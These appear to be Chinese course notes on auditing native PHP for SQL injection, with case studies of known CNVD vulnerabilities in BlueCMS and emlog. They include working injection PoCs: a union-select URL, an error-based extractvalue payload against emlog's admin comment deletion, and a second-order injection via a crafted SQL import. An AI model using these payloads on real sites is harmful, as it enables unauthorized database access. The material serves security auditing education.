Day155_PHP专题

演示案例

代码审计-PHP原生-SQL注入&搜索&监控&功能

挖掘技巧

  • 语句监控-数据库SQL监控排查可利用语句定向分析
  • 功能追踪-功能点文件SQL执行代码函数调用链追踪
  • 正则搜索-(update|select|insert|delete|).*?where.*=

如何快速的在多个文件代码里面找脆弱

  1. 看文件路径
  2. 看代码里面的变量(可控)
  3. 看变量前后的过滤

1、Bluecms-CNVD-1Day-常规注入审计分析

审计流程:(update|select|insert|delete|).*?where.*=\

正则→ad_js.phpgetone()→无过滤→有输出payload注入

Poc

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

2、emlog-CNVD-1Day-常规注入审计分析

https://www.cnvd.org.cn/flaw/show/CNVD-2018-26200

审计流程:

comment.phpdelCommentByIp($ip)→无过滤→构造触发

Poc

/admin/comment.php?action=delbyip&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+&token=11f3f9cb7e78e3f88e39ea5678939b7d

3、emlog-CNVD-1Day-二次注入审计分析

https://www.cnvd.org.cn/flaw/show/CNVD-2023-65138

https://github.com/fupinglee/MySQLMonitor

https://github.com/cw1997/MySQL-Monitor

审计流程:

数据库监控→user.php无可控→nickname→添加不可控→data.php可控→导出修改导入→触发二次注入

/admin/data.php

导入文件时执行SQL文件中语句,带入Payload

INSERT INTO emlog_user VALUES('110','','$P$BnTaZnToynOoAVP6T/MiTsZc9ZAQNg.',(select version()),'writer','n','','123@qq.com ' , '','','0','1687261845','1687261845');

/admin/user.php

select查询nickname条件数据,访问触发二次注入